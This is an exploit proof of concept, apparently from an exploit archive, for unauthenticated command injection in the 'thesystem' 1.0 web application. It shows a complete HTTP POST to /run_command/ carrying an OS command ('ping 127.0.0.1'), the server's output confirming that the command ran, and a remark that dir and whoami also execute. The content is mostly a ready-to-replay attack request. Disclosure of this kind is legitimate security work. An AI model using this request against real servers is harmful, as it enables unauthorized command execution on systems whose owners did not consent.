# Exploit Title: thesystem Command Injection
# Author: Sadik Cetin
# Discovery Date: 2019-09-28
# Vendor Homepage: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ]
# Software Link: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ]
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Type: Webapps
# Description:
# Simple Command injection after login bypass(login_required didn't used)
POST /run_command/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------168279961491
Content-Length: 325
Connection: close
Referer: [ http://127.0.0.1:8000/run_command/ | http://127.0.0.1:8000/run_command/ ]
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719
Upgrade-Insecure-Requests: 1
-----------------------------168279961491
Content-Disposition: form-data; name="csrfmiddlewaretoken"
7rigJnIFAByKlmo6NBD7R8Ua66daVjdfiFH16T7HxJrP43GhJ7m7mVAIFIX7ZDfX
-----------------------------168279961491
Content-Disposition: form-data; name="command"
ping 127.0.0.1
-----------------------------168279961491--
HTTP/1.1 200 OK
Date: Sat, 28 Sep 2019 09:42:26 GMT
Server: WSGIServer/0.2 CPython/3.5.3
Content-Length: 429
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
When I try to run following command, all commands run:
dir
whoami
